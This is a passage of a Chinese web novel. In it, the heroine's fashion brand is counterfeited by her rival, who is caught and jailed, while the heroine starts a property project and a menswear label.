“好，辛苦了。别再跟那种人生气了，身体要紧。往好的方面想，会去买假冒伪劣商品的人，本来也不是咱们的目标客户。”后世那些奢侈品牌，有哪个不被抄袭的，就算后来不敢明目张胆的当街售卖，也照旧偷偷摸摸地经营着一体条黑产业链。有些假包甚至能做到肉眼根本分不出真假的地步。 当造假到处都是，而且又不知道是谁干的时候，只能吃哑巴亏。可林兰现在这么明目张胆地出来挑衅，不是找死是什么。 雷生金的动作非常迅速，涉及到他宝贝闺女的事儿，他是一万个上心。在找到工商局一把手的同时，混混也都准备好了。 他想的可不是只有工商局出手就算了，他要的是粤城所有做买卖的人都知道，谁敢欺负她闺女，只有死路一条。 一把手见雷生金都出面了，而且人家又有理有据的，这些衣服真的是一模一样！妥妥的受害者啊。 事情发展到这个份上，他也不好再装马虎了，只能吩咐下面的人公事公办，同时狠狠批评了陈耀祖一顿，让他管好自己老婆。 陈耀祖回家之后也不敢跟亲爹说，只得赶紧提醒林兰，“真的，赶紧先撤下去吧，人家开始追究了！” 林兰思考了一下，“行吧，先避避风头。” 陈耀祖心有余悸，“要不咱的装修也改改吧。” 林兰忍住翻白眼的冲动，“装修没事儿的，过了这一阵子就好了。” 这年头哪有什么规矩啊，做生意的只要能来钱，哪个没干过不合规的事儿？陈家从外头倒腾服装的买卖也是违法的，但是谁管啊。这里是粤城，是做生意的天堂！ 偏偏林珊犯贱，还告到一把手那儿了！大不了她先不卖那些货呗，等风头一过再继续卖。后世法律那么健全都管不了仿制，现在还能管得了？ 林兰不以为意，面上安抚了陈耀祖几句，心里却嫌弃他吃得五大三粗，一点儿事儿都担不了。 陈炳忠知道林兰在卖仿制的衣服，只是不是很清楚这衣服是谁设计的，雷生金亲自找到他办公室的时候，才知道林兰都干了什么。 胆子也太大了！装修的事儿他之前就有些对不住雷家，现在又闹了这么一出，在雷生金看来，肯定是你陈炳忠要跟我闺女过不去了。 天地良心，无论哪件事陈炳忠都是事后才知道的，“金哥，真是不是这样的。”他赶紧倒上好茶，替自己解释了一下，见对方不为所动，思索片刻就把家丑说了出来。 雷生金听完了他被迫多了个衰人儿媳妇的事后，脸色稍微好了一点，不过还是冷冷问他：“炳忠啊，没有规矩不成方圆，从你摆摊开始，这么多年我为难过你没？” 陈炳忠满脸羞愧，“没有，金哥一直都很照顾我，这件事我一定会给您一个满意的交代！” 雷生金点点头，半口茶没喝就直接走人了。 陈炳忠回家之后直接把儿子儿媳叫过来罚站，林兰猜到了是因为什么，正要解释，陈炳忠就打断她，直接命令道：“服装店关门，明天就把人都遣散了，衣服都交给工商局销毁。” “爸！您听我说，真没事儿的，只要——” “你不关，我替你关。”陈炳忠撂下这句话，就径直离开了客厅，留下林兰跟陈耀祖继续罚站。 陈耀祖见林兰眼圈红彤彤的，小声安慰道：“没事儿的，关就关了吧，咱家不缺钱花。” “你根本不懂！”林兰忍不住怒吼，气得眼睛都快滴血了。 陈耀祖吓了一跳，他还从来没见过林兰这样，一时有点儿不敢靠近她。 林兰这会儿也懒得演戏了，紧握着拳头恨不得把全世界都毁了！辛辛苦苦开起来的店，凭什么说关就关？！就因为林珊一句话？！ 她越想越气，恨不得把林珊撕着吃了。 次日，“祖兰”服装店关门大吉。 不但如此，陈炳忠还带着儿子跟儿媳妇亲自登门对雷家的阿英鞠躬道歉。 阿英本来有一肚子话要骂，可念在陈炳忠的面子上，还是忍住了。他的儿子儿媳妇没有教养没有素质，她可不能这样。 林兰虽然面儿上被迫跟阿英道了歉，眼睛却一直不断地往外瞄。她知道这个阿英跟林珊是合伙的，这事儿背后要是没有林珊捣鬼，她就不姓林。 可惜不管她怎么扫射，都没能在雷家这个大厅堂看见林珊的身影。 林兰暗哼一声，不要脸的胆小鬼，连见她一面都不敢，只敢躲在背后耍诈！ 林珊这会儿确实没在雷家，她在陈广志的办公室。 制造假冒伪劣的那个服装厂，就是陈广志曾经的烂合伙人开的，现在看来还真是新仇旧恨都加一块儿去了。 第171章 第171章 人赃并获 也不知道是不是陈炳忠吩咐过, 总之查到服装厂那块儿的时候，这个陈粤生已经都停产了，里面一点儿存货都没有。 阿英对此非常失望, 人家很“懂事”，他们明面上也不好再干什么, 可就这么让她咽下这个亏，心里又很不舒服。 “没事儿, 再等等，继续请人盯着。”林珊不相信尝到甜头的人, 还能忍住不偷干。 阿英明白了, “好！我们抓他个人脏并获！” 陈广志忍不住叹气，当年散伙之后他就不跟陈粤生来往了, 但怎么也没想到这人真的为了钱什么都不顾。坑过他一回还不算完, 现在竟然明目张胆地抄 他们厂里做出来的衣服, 真是丧良心！ 林珊安慰了他两句，顺便打了个预防针。随着名气的扩大, 被抄袭这种事儿会陆续发生, 不仅在粤城, 以后背的地方也会发生，心态一定要调整好。 阿英跟陈广志都叹着气点了点头，这出名也有出名的坏处啊。 服装厂的事儿让人继续盯着，次日“红珊”在粤城的第一家店正式开业。 这是阿英的主场，雷家还请了电视台的人来, 林珊把开幕讲话的重任交给了阿英。 雷家、郭家, 以及所有跟他们有关系的人家都来捧场了。再加上一大早就来排队的客人，场面热闹得简直堪比本地庙会。 舞龙舞狮，鞭炮齐鸣, 锣鼓喧天，阿英像个领导似的，讲话讲得有模有样，台下的观众无比捧场，雷家人更是骄傲得不能行，这么高档的店，里头都是阿英设计的衣服，这怎么能不让他们骄傲呢！ “红珊”正式入驻粤城，雷家跟郭家人也体验了一把升级后的购物体验。 一圈下来，没有一个不赞不绝口的，雷妈妈拉着林珊说：“真得太厉害了！比外国的那些服装店还高级！果茶也好喝！售货员的服务特别周到！” 林珊笑道：“您满意就好，在里面试穿阿英设计的衣服，是不是感觉更不一样了？” “是！真得特别不一样！”雷妈妈觉得衣服摆进店里，比她在家试穿的时候，瞬间贵了好几倍。“真不愧是青大的高材生啊，头脑就是灵！” 林珊谦虚了几句，又把阿英好好地夸了夸，没有她的参与，“红珊”绝对不可能发展得这么快，这么好。 开业的喜庆没有被林兰的事儿给打扰，反而引来了很多知道这件事的人围观。在见识过“红珊”真正的品质和服务之后，大家也都明白了这其中的差距，用李逵李鬼都不足以形容。 怪不得“红珊”能火遍全国，无论从哪方面看人家都是一流的。 刘灿荣也带着人过来捧场了，经得林珊的同意后，让摄影师给店里拍了几张照片。他要把照片挂在公司的墙上，用来彰显档次和格调，告诉前来做广告的客人，看看他们公司服务的都是哪些大品牌！ 林珊笑了，问了问他秋冬广告的进展。 刘灿荣表示他这边早就准备妥当了，只要日期一到立刻就能开拍。 林珊很欣赏这种工作效率，其实这次来粤城，她还打算办一件事——购置房产。 以后跑粤城的次数只多不少，一直住在人家家里总归不太好，所以她想看看有没有合适的房子买。当然，她拜托雷家的时候，说的是想买来投资。 不然热情好客的雷家人，一听她想住外面，肯定一通劝阻。 趁着人家帮她留意房子的空挡，林珊抽空去了趟深城，看看那边“御景华府”的进展情况。前一阵开始预售之后，房子再次很快就卖光了，为了保证交出绝对高品质的房子，“荣发”的全体员工对工程的每个方面都十分重视。 房子已经进展到封顶的阶段了，遇到过的技术问题很多，但都被一一客服了。整个团队在建设“御景华府”的过程中，学到了很多东西，成长极其迅速。 郭广盛明显瘦了一圈，婚礼上林珊就看出来了，不过这也是没有办法的事，压力大就是容易掉秤。好在一切都如期进行中，辛苦点儿也值了。 前一阵股东们在电话里讨论过下一个要拍的地皮，正好有一块儿商业用地非常合适，大家就决定拍下之后建设办公楼。 深城的发展极其迅速，尤其是这两年，很多新的政策跟雨后春笋似的不断发布，来这边做买卖开公司的人越来越多了，除了民宅，办公楼也一定非常赚。 而且地皮又在图纸上的未来商务区内，可以说非常合适了。 忙完了正事，林珊一行人就赶回了粤城。 雷家帮她找了好几个想卖房子的人家，林珊挨个儿都看了一遍，觉得离雷家不远的一个小院儿最合适。 带着她看房子的阿强也觉得那个最好，房子比较新，而且有自家罩着，也不怕有那不长眼的人来欺负林珊。 定下来房子后，林珊打了两个电话，先是通知赵桂花跟林红，跟着又和贺正岩说了一声。 赵桂花知道价钱之后，觉得这钱花的真值，再加上闺女还说以后能涨很多钱，心里更是美滋滋的。贺正岩则笑道：“你是我见过最喜欢买房子的人。以后要是去粤城，我就跟你混了。” 林珊乐了，娇嗔了他两句。 次日交完钱办妥手续后，林珊就开始找人装修。其实更准确得来说是简单修缮一下，换一套门窗，安一下空调、吊扇，再贴一下瓷砖。至于院子，基本不用动，原房主喜欢养花，捯饬得还挺漂亮。 她没有时间留在粤城监工，就拜托公司的员工帮忙看顾一下。 阿英拍着胸脯保证道：“姐你就放心吧，质量不过我这关，谁都拿不到尾款。” 林珊笑了，“谢谢雷经理。” “哎呀姐！”阿英还不好意思了。 本来林珊这次来是打算处理完林兰的，结果对方这一阵儿一直没什么动静，她也没工夫跟这儿耗着。于是交代完所有的事情后，她就返程回京了。 谁知林珊前脚才刚踏上京市的土地，阿英那头就打来了电话。 “姐！他们果然不死心！陈粤生昨天晚上又开始偷偷仿制咱的衣服了！林兰也在！她半夜走的时候手里还拿着两大包的货！” “好，先别动声色，安排好咱的人，抓他们一个人赃并获之后，再报给信得过的公安。” “好！等我的好消息！” 林珊隔着电话都能感受到阿英的激动，虽然有雷家人应该不会出什么乱子，不过她还是叮嘱道：“小心点儿，万事安全第一。” “好的，知道啦！” 林珊在外奔波了一个多礼拜，贺正岩说什么也要来车站接她。 把杨国福跟闫青送到公司后，两人还在路上走着，贺正岩就忍不住一直亲她的手背。两人的手交握着，他遇到路况好的时候就要抬起来亲一下，搞得林珊都不好意思了。 “好啦。” 贺正岩笑出声来，稍微收敛了一下。 回到家里门一关，他就不想再克制了，直接把人抱起来就直奔卧室，要是不是林珊坚持要先洗洗手，洗把脸，他直接就拉窗帘了。 等林珊洗完，他二话不说再次将人一把抱起，“砰”地一声关上房门。 新婚燕尔，难免热情一些。 林珊累得都不想起来吃晚饭了，贺正岩跑去厨房煮了两碗馄饨，端进来给她吃。 两人吃着馄饨，闲聊起了粤城的事儿。 “你觉得这帮人最多判几年？”林珊问他。 “这种制造假冒伪劣商品的事儿，一般抓着了都按投机倒把处理，钱多的话七、八年，少的话三、四年，还得罚钱。”不过罚多少贺正岩就不知道了。 那帮人仿制“红珊”的时间还不长，钱不会太高，不过，“关他们个三、四年也行。” 贺正岩点点头，“必须有惩戒，不然正经生意人还怎么做买卖。” 林珊记得生产、销售伪劣产品罪要到93年才成立，到时候可能评判标准就会不太一样了，只要一切都在不断发展进步，经商环境就不会有多差。 次日一早，粤城传来了好消息。 陈粤生跟林兰昨晚被抓了个人赃并获，不仅那些衣服上面都绣着“红珊”的标志，就连“红珊”的包装袋，他们也仿制了。 雷生金的人先是把小院儿围得水泄不通，跟着十来个壮汉翻墙而入，踹开门的一瞬间，机器还忙着呢，陈粤生跟林兰还想逃，结果跑出去之后发现哪儿哪儿都没有出路，只得老老实实地蹲在地上，看着雷家的人翻箱倒柜。 原本林兰见不是公安的人还有些庆幸，结果没多 久警车声就响彻了整个厂区，她直到这个时候才算是感到了一丝害怕。 陈家人是被公安半夜叫起来的，陈炳忠、陈耀祖父子俩，完全不知道发生了什么。 一听林兰因为投机倒把被抓进了，陈耀祖还不信，“不可能，她回老家散心去了，我亲自把她送上火车的。” 公安同志也不跟他掰扯，直接让他家派个人去局里看看。 陈炳忠大半夜跟着儿子来到公安局，得知了事情的原委，知道林兰说回老家只是借口，实际这一阵子她一直待在她哥那儿，偷偷跟服装厂的人策划继续仿制人家阿英的衣服！ 陈炳忠气得差点儿昏倒，稍稍扶稳之后，第一件事就是开揍陈耀祖。 “我今天非打死你个兔崽子不可！我供你吃供你穿！从小到大不舍得动你一根手指头！你就这是这么对你老爸的？！大学学得那些东西都白费了？！我让你找祸害！找祸害！” “啊！爸！爸！你冷静点啊！”陈耀祖在公安局的大厅上演着逃命的戏码，有两位公安跟陈炳忠交情不错，赶紧一边儿一个，把父子俩给分开了。 陈炳忠越打越气，直接命令陈耀祖：“离婚！明天就去把婚给我离了！这个祸害的事你要是敢管！我从今往后没有你这个儿子！” 第172章 第172章 华耀房地产 陈炳忠喜欢林兰, 但是也很爱自己的父母。 长这么大头一次见父亲气成这个样子，他没敢再说什么，只得一步三回头地跟着陈炳忠回家了。 人家公安同志刚才已经把事情说得非常清楚了, 他不傻，明白那是什么意思。 林兰骗了他, 还置他们家于不顾，一而再再而三的得罪雷家。他一时也说不清心里什么滋味儿, 整个人就像蔫了似的，耷拉着个脑袋跟在他爸屁股后头。 被逮进公安局的林兰即使被抓了个人赃并获, 也还是发挥着口才, 把自己塑造成了一个被陈粤生骗来谈生意的无辜人。 她一把鼻涕一把泪，装得凄凄惨惨, 可惜人家公安又不傻, 在去抓人之前, 雷家已经把所有情况都说清楚了，就连林兰的底细也被扒得一干二净。 所以任凭她怎么哭诉, 公安同志都不为所动, 直接拿出陈粤生交代的犯罪事实来打脸。她还想再继续狡辩, 被公安同志一个怒吼加拍桌，吓得浑身发颤。 有些人的嘴就是硬得很，好好说不管用，非得上些手段才能好好聊天。 次日中午，林珊得到了阿英那边传来得消息。林兰跟陈粤城对仿制他们衣服的事情供认不讳, 公安同志说最少也要蹲三年才能出来。 阿英对这个结果很满意, 开心地对林珊说：“以后我专门找人去市场上转悠，看看谁敢偷做咱们的衣服，我直接埋伏抓人！” 林珊笑了, 相信这件事儿之后，粤城在短时间内应该不会出现仿制“红珊”的人了。 陈耀祖得到公安局的通知后，眼泪都下来了，气得陈炳忠又给了他一顿胖揍。陈耀祖心里是又难过又烦闷，不几天就瘦了好几斤。 公安局的同志已经把林兰家里的情况，还有她在京市犯的错都告诉他了，实际情况跟林兰说的完全不是一回事，陈耀祖已经明白自己是被骗了。可是即使他知道跟林兰走不下去了，也不想看见她坐牢啊。 陈炳忠看见儿子这窝囊样就窝火，直接下了最后通牒：“你明天上午给我去法院起诉离婚！人已经找好了，不去我打断你的腿！听见没？” “……听见了。”陈耀祖蔫蔫地应了，大热天地抱着自己蜷缩在沙发上，一副受了严重内伤的模样。 看不惯他的陈炳忠还想再揍，被一旁的陈妈妈给拦住了，“行了行了，离了就行了。” 摆脱了那个祸害比什么都强。 八月初的时候，安河土地局的人终于给林珊打电话了。 他们即将正式拍卖住宅用地！地皮就在安河的城西，离城区还不算远。这种难得的好地方，林珊当然第一时间就想拿下了。 回到安河后，她请陈主任吃了个饭，得了得底，同时也知道了有两位竞争者对这块儿地感兴趣。那两位林珊也认识，知道对方在财力方面不如自家，所以她拿下这块儿地的可能性还是非常大的。 去年林珊就已经在安河的“华耀”公司名下，添加上了房地产业务，等了这么久终于有地拍了。她计划拿下地皮之后，再正式开始组建团队。 今年过完年，她也已经先让李春刚多留意各方面的人才了。要重新组建一个大的团队可不是小事儿，且得准备一阵呢。不过好在有深城的经验和关系网，做起来会比什么都不懂的时候要顺手很多。 拍地的事情听起来复杂，其实只要资金足够，也还是挺简单的。林珊当天是带着赵福、李国超还有李娜去的竞拍现场，本来预计要走几个回合才能拿到地。 结果另外两位在她叫到三十五万的时候，就已经不再出价了。原本预计五十万拿下的地，最终用三十五万拿到手。 90年三十五万可不是小数目，尤其是在这种外人都没听说过的小城市，花三十五万拍一块儿地，实在不是人人都能做到的。 这块儿地有五千多平方米，不算特别大，林珊准备盖民宅和商铺相结合的住宅楼。类似深城的“御景华府”，只不过不是高层，小区内也没有游泳池。 这是“华耀”的第一个地产项目，又是在自己的家乡，必须好好做出来。其实房子能卖出去多少，林珊心里还是有数的，毕竟连京市的房子都没有那么好卖，更何况是安河了。 所以她想把这第一个项目，当成是公司练手的机会，以及给员工们的福利。等盖好之后，员工们统一享受成本价。而且不用一次性付清，可以内部采取分期付款的方式购房。 虽然说91年银行会开始逐步建设房贷业务，但是一直到99年才全面实行。虽然92年很多大城市就迎来了地产热，但是全国其他地方基本都还是比较冷的。 拍下地之后，林珊先跟赵福聊了聊。 赵福现在的职位是“华耀”的副总经理，兼“林爱国食品”的总经理。“华耀”下面关联着“林爱国”和“红珊”，由于“华耀”要开始做自己的第一个项目了，所以林珊就想让赵福放下食品公司的业务，开始负责房地产的业务。 赵福知道深城那边的房地产做得红红火火，也知道林珊一直想在安河这边干这个，再加上现在食品公司副总经理杜平的能力也很不错，其他主管也都是干了这么多年了，基本不需要他再操特别大的心。 而且盖房子是大事儿，干好了那可了不得，他当然愿意去主管这一摊子了。 林珊很开心他愿意去主抓房地产的业务，毕竟新开始的事业总是特别累人的，尤其当人不缺钱的时候，不是每个人都还会想要去挑战自己的。 定下来赵福后，她又跟李国超谈了谈。 李国超更是激动得不能行，之前他跟杜平一块儿负责建新厂的事儿，本来以为以后自己可能要去食品厂了，谁知道厂子建好后，林珊又让他回到了原来的岗 位。他心里有点儿纳闷，又没敢问原因。 原来老板早有打算了！他可是跟着林珊去过很多次深城的，知道那边的房子有多厉害，现在公司要自己开干了，他能不兴奋吗！ “我一定全力以赴！” “好！”林珊很开心他跟赵福都充满了干劲儿。 定下来总经理和副总经理，其余的人就好找了，李春刚那儿已经网罗了很多人才，完全不愁找不到人。 因为要忙着房地产的事儿，林珊这一阵子就久居安河了。贺正岩一到周六就往这儿跑，杨老太开他玩笑，说这都快成上门女婿了。 “上门女婿”不在乎，只要能见到媳妇儿，怎么都行。 赵桂花很开心小两口感情好，同时也挺心疼贺正岩一直跑来跑去的，所以只要他来，就会变着法儿的给他做好吃的。 林珊提意见：“我说想吃什么，妈都没这么上心。” 赵桂花“呲”她一声，“哪天短你吃的了？你个小没良心的。” 贺正岩笑了，直夸桂花女士饭做得好吃。 林珊在安河开房地产公司的事儿，郭家和雷家都知道，这事儿她提前就跟他们说过，而且也没有隐瞒自己公司以后要走的路线。 “华耀”跟“荣发”至少在二十年内，不会有业务方面的竞争。一个走大城市高端住宅兼商业办公楼的路线，一个专供中小城市，走中端住宅和商业广场及酒店的路线。 公司定位不同，战略方向不同。而且又是人家自己的钱和主意，大家当然没有意见了。不仅如此，股东们还表示如果钱不够他们可以入股。 林珊感激不尽，她的钱目前盖安河这个小区是够的，等以后再盖其他房子的时候，如果大家还有兴趣，那就一块儿谈谈合作。 这次的设计团队，林珊请的是深城那边之前合作过的。建筑团队则是安河本地，由一直帮他们盖厂子的王来顺组建的。另外她专门请了深城这边的建筑团队，来做全程的督导。 把主要工作安排好后，林珊就暂时回京市了。 各个团队要先忙活一阵才能看见初步成效，她留在安河也没有什么太大的作用，况且“红珊”的秋冬广告也即将要上了，她得回去把把关。 贺正岩对此高兴坏了，两地分居的日子终于结束了。 回到京市后，林珊先看了看姜春荣，又给贺振华送了些吃的，这才有功夫跟贺正岩腻歪。现在毕竟是过了门的儿媳妇了，两位长辈对她都非常好，做小辈的自然也要经常想着他们。 “红珊”秋冬季的广告比春夏季拍得更有质感，导演跟摄影师已经知道了她们要的调性，自然发挥得就更加出色。胡敏再次奉献了绝佳的表现力，而且因为她最近正在热映的电影备受欢迎，热度非常之高，“红珊”也算跟着沾光了。 专属模特冯晓丽比上一次表现得还要出色，之前拍摄的时候还有些生硬，这回已经找到了门路，对“红珊”要的感觉拿捏得非常到位。看来私下没少下功夫。 这次的秋冬系列，无论是广告还是硬照，林珊都非常满意。京市这边的团队在运作整个推广的过程中，也比之前成熟很多，已经不需要林珊再出面跟人谈价钱了。 广告上映之后，效果自不必说，全国再次掀起了一阵“红珊”热。 阿英兴奋地在电话里尖叫，这次基本是她一个人全权负责搞出来的秋冬系列，中间还出现了仿制事件，现在看见反响这么好，她是又开心又激动，眼泪稀里哗啦地流！ 林珊很为她开心，“你是最棒的雷大设计师！不知道现在有创建由你自己命名的品牌的想法了吗？” 第173章 第173章 开始做男装 “啊？！”阿英一愣, “姐？你是说创建一个叫‘雷英’的品牌？” “是，以你自己命名的品牌。” 阿英想了一会儿，说：“姐, 我知道你是为我好，但是我觉得现在挺好的。我才刚把‘红珊’的事儿都做顺手, 效果还这么好！暂时还不想弄什么自己的牌子，况且我现在也没有特别想要设计的衣服。” 林珊点点头, “好，那等以后你有了新的设计想法, 而且风格又跟‘红珊’的调性不太匹配的话, 咱们就再给你做个品牌，好不好？” “好的姐, 等我有想法了第一时间告诉你！”阿英很开心林珊为自己着想, 但是她现在真做得挺开心的, “红珊”目前就已经够她忙了，等以后有了灵感再说吧。 林珊知道她现阶段确实没有这个想法后, 就把自己想创建一个男装品牌的想法说了出来。 “红珊”现阶段已经步入正轨了, 剩下的就是不断扩张, 管控好品质。男装其实也是一个很有赚头的市场，尤其是高端向的。 随着时代的发展，不仅女性|爱美，男同胞们同样需要很多称头的、穿出去有面儿的装扮。 之前在做“红珊”的过程中，公司的男同胞就已经提过意见了, 女同事们都穿得漂漂亮亮的, 他们想要穿点儿高档的，还得特地托李国超或者跟着林珊南下的同事们帮着买。 林珊不是不想挣男同胞的钱，之前实在是精力不够, 毕竟男装跟女装的市场比起来还是比较小的。 现在“红珊”已经比较稳了，京市、粤城和安河的团队也都越来越成熟了，是时候开始做男装了。 要建立一个新的品牌，就要组建一个新的团队，阿英是“红珊”的股东，又是粤城公司的负责人，必须要跟她商讨一下怎么做。 阿英对创立男装的想法非常支持，还忍不住笑道：“我爸可有意思了，见我妈和我嫂嫂们都穿‘红珊’的衣服，把他给眼馋坏了，天天说让我给他也设计几件衣服穿穿！这下好了，以后男同志们也能穿咱们做的衣服了！” 林珊乐了，“那咱就快点儿做，到时候给家里的男同胞们都安排上！” 电话里没有办法谈太多的东西，两人只简单聊了一下大方向，具体的还要等林珊去到粤城之后再做决策。 这次她要带上京市的团队过去一块儿商讨决策，好在自家在粤城的小院儿都已经收拾妥当，人多也不怕没地方住。 贺正岩对她才刚回来就又要南下的决定，有些失落。 林珊搂着他哄道：“我这么做是希望快点儿把公司的战略格局定下来，这样以后就不用我亲自去了。我不想等有了孩子，还三天两头不在家，这样对小孩儿的成长不好。” 贺正岩当然明白她的用意，只是心里舍不得罢了，抱紧她亲了一口后，叹气道：“好，我等你回来。” 林珊笑了，甜甜地说：“放心吧，我效率很高的，最多待一个礼拜就差不多了。” 次日下午，公司一行人踏上了前往粤城的火车。 阿英那边也安排好了员工开会，等接到林珊和团队之后，所有人直奔公司开会。来得时候就算好了时间，到粤城正好是上午，完全不耽误直接开干正事。 男装品牌的名字，林珊已经想好了，就叫“正朔”。 以前她瞎琢磨的时候，就想用贺正岩的“正”字，后来组了一个“至正”，读起来发现跟“智障”很像，自然也就打消了念头，搬着字典查了很久，最后定的“正朔”。 “正朔”不仅是历法的起始，还象征着岁序更新和万物复苏，另一方面也有正统地位的意思，意义和兆头都非常好。 尤其她对自家男装品牌的定位是高端男装，范围包括国际商务、行政公务、以及商务休闲这三大消费群体。尤其是政界人士，谁不想得个好兆头呢。 大家听完解释之后，对名字赞不绝口。 “越读越顺口诶。”阿英喜欢好兆头，“我爸肯定也喜欢，做买卖的都喜欢。” 公司名字和业务范畴定下来之后，就是组建团队，以及如何一步步实施。 业务范畴目前虽然定的比较广，但是在刚成立的阶段，林珊只打算做高端西服，等进一步打开知名度后，再开始做休闲商务风格的衣服。 毕竟现在的男同胞买贵衣服主要是想穿出去见人，尤其是出席一些正式场合的时候。休闲商务风就算这个时候做出来，销量也不会太好。 男性跟女性还是不一样的，女性永远觉得柜子里少 衣服，即使已经塞不下了，还是觉得没衣服穿。很多男性可以一整年都穿一样的衣服。 等以后时代再发展一些，人们手里的闲钱再多一点儿的时候，男性对于服装类的消费水平就会慢慢提高了。 粤城这边的公司，地方很大，完全能再容纳一个小团队的人马，林珊准备趁着在粤城的这几天，好好选出一个设计师来，其他人员就交给公司去招就行。 阿英对这边服装市场的人才非常熟悉，她觉得好的，基本都已经招来团队里了，所以当下就对林珊说：“虽然我舍不得阿丽姐离开女装这边，但是她就是最好的。” 陈佳丽今天30岁整，可以说来自裁缝世家，从小就跟着奶奶做衣服，而且又会画又会剪裁，机器打板也在行，简直就是服装届的全能人才。 林珊相信阿英的眼光，跟陈佳丽简单聊了几句后，就定下她做“正朔”品牌的设计师。 原本以为要好好选才能找到的人，现在这么快就定了下来，其他的工作安排也因此迅速了很多。一天时间下来，林珊就已经安排得差不多了。 本来设计团队和服装厂就都是现成的，再招人也简单得很，目前要等陈佳丽先设计一些男装出来看看，才能进行接下来的工作。 晚上吃完雷家安排得接风宴后，林珊跟着京市团队的人回到了自己在粤城的小院儿。 整个院子完成得非常好，阿英也特别贴心，估计是猜到了她这次带着人是想住在小院儿，所以还提前帮忙准备了床褥等生活用品。 林珊感激不尽，忍不住想到了几年前在铺子里第一次见到阿英时的景象，这几年她真得成长了很多，这眼看着已经到了适婚年龄，郭峰再不抓紧点儿，这么好的姑娘恐怕就要被别人给追走了。 郭峰不是不想抓紧，关键现在得看阿英的心情和时间啊。 次日清晨，他一大早就出现在了雷家。阿英因为跟林珊约好了一块儿吃饭，直接拒绝了他的邀约，“你自己吃吧，我要找珊姐去。” 郭峰一听她要找的是林珊，立刻说：“那我跟你一块儿去，正好让她帮我说几句话。” “诶呀，你烦不烦啊。”阿英不理他，甩开人就走，郭峰紧跟在后头屁颠屁颠跑着。 早茶店内，林珊边吃，边笑着看阿英跟郭峰你一句我一句的闹着。 这俩人就跟那欢喜冤家似的，郭峰说什么阿英都要怼上一句，郭峰也不气馁，仍然笑着继续。至于他想让林珊帮忙说话的事儿，实在是爱莫能助。 追女同志就是要经历艰难险阻的。如果太容易了，有些人就会不懂得珍惜。阿英很明显还在气郭峰以前的事儿，估计等她气消了，俩人可能也就差不多了。 林珊又在粤城跟大家讨论了一天男装的风格理念，以及品质标准之后，就返程回京了。设计衣服需要时间，她没有必要一直在粤城等着。 贺正岩对她的提前归来非常开心，一见面就笑得直露大白牙。 林珊都看乐了，“好啦快回家吧，我有点儿累了。” 一听媳妇儿累了，贺正岩立刻发动引擎，回到家趁着林珊去洗澡的空档，他直接把饭都做好了。非常简单的家常面条汤，配上包子，林珊看见之后心里暖暖的，抱着贺正岩撒娇：“谢谢老公。” “快吃吧。”贺正岩美滋滋地亲了她一口，很喜欢被这么称呼。 林珊瞧他高兴得跟什么似的，自己也忍不住笑了。 简简单单的一顿饭，俩人吃得非常开心，分享着彼此工作上的事情，计划着美好的未来。 一个多月后，粤城的陈佳丽把设计好的男装款式发到了京市公司。林珊看完之后非常惊讶，这画工可不是一天就能练出来的，设计的西服款式虽然都是经典款式，却在小细节处都添加了好多心思。 林珊很满意，当即就在电话上表达了对陈佳丽的欣赏。 款式设计好之后，可以试着先做一批样衣出来。至于门店的事儿，林珊一个月前就已经让李春刚给开店小分队招人了。第一个门店计划开在京市，这边的团队最近也可以开始寻觅优秀的铺位了。 男装品牌的事情进展顺利，安河那边“华耀”的盖房子事宜，也进行得很好。 设计图纸已经出来了，设计师完全就是按照林珊提出的要求设计的。从外部结构到房屋布局，再到整个小区的景观规划，包括地下车库这种在这个年代看来非常没有必要的事儿，她都要求了。而且还在每栋楼里都预留出了日后装电梯的空间。 毕竟不是每一个人都有能力换房子的，很多人一生就只有这么一套房。时代发展之后，家家都有车，人的岁数也将越来越大，腿脚不便的老人爬楼可是很吃力的。 这是“华耀”在安河的第一个项目，又要面向自己的员工，必须拿出百分之两百的诚心去做。 第174章 第174章 又是一年 十二月中旬的时候, 深城传来了好消息。 “荣发”的上市申请已经递交上去了，如果不出意外，来年审批通过后就可以挂牌上市了。 之前郭广盛拍下的商业用地, 已经确定要盖办公大楼。这次的设计团队是从国外请的，现在这个阶段人家对于制造这种大楼很有经验, 咱们这边有很多需要学习的地方。 由于公司迅猛发展，员工越招越多, 目前办公的地方已经不够用了，郭广盛索性把“荣发”所在的办公楼的上面一层也租了下来。 开股东大会的时候他还在感慨, 现在待在“荣发”的时间, 已经完全超过了郭家的贸易公司。 郭有财则对这个变化很开心，这说明他们转型成功了。贸易虽然还是有赚头, 但是现在限制越来越多, 风险越来越大, 肯定不是长久之计。 林珊在安河的地产项目“康馨花园”，正式迎来了动工仪式。因为是本市第一个私企民宅项目, 领导们也都很重视。赵福全权主持大局, 搞了一个无比盛大的开工仪式。 赵桂花自豪坏了, 激动得一把鼻涕一把泪，搂着林珊跟林红一口一个好闺女的亲着。 贺正岩本来也想来捧场的，可惜最近工作太忙，要经常跑城郊的各个部队，实在是抽不出时间了。不过他来不了, 姜春荣却特地来给儿媳妇捧场了。她最近刚好有休息的空档, 又很久没见赵桂花了，索性就过来玩儿两天。 赵桂花兴奋地说：“姐，你还是没看过深城那边的房子, 可高了！不但有电梯，院子里还有游泳池呢！咱这儿跟那边真是没得比，回头咱一块儿去深城玩儿！” “好啊！咱姗姗真得太能干了！”姜春荣瞬间加入了家族夸夸群，把她认识的林家人都夸了一遍。 林珊这边欢声笑语，丝毫没有留意到混在人群中阴森森瞪着他们的林爱军。 得知林兰被抓之后，林爱军立刻跑去找陈耀祖救人，可陈家人不但拦着不让他进门，还明确地告诉他，陈耀祖要跟林兰离婚。 陈家人一直不同意这门亲事他知道，可是没想到陈耀祖居然也开始躲他，好不容易被他堵住，结果憋半天就来了句以后不要再来找他了。 林爱军气得差点儿一把火烧了陈家！他知道这件事是因为雷家使的劲儿，所以林兰才必须要被判刑。雷家跟林珊又是一伙儿的，他不敢动雷家和陈家，新仇旧恨加在一块儿，自然就全算到林珊头上。 在粤城待了一个月也没办法救林兰的林爱军，只好带着满腔仇恨回到了安河，刘淑芬从他嘴里得知林兰被抓的消息后，直接就昏倒了。 醒来之后的第一件事就是仅仅抓着林爱军，一把鼻涕一把泪地求他：“你可千万别做傻事儿！兰兰已经进去了，你要是再进去，我就真不活了！你好不容易才出来，现在在南边也能挣着钱了，我就指着你能给我个念想呢！千万不要学你爸！听见了吗？！” 林爱军红着眼圈 不答应，刘淑芬就一直求他，“林珊那边儿现在已经不一样了！整个安河就没有不认识她们的人，谁都知道她有背景，嫁得好！身边儿还老跟着保镖！你可千万别做傻事儿知道吗？！” 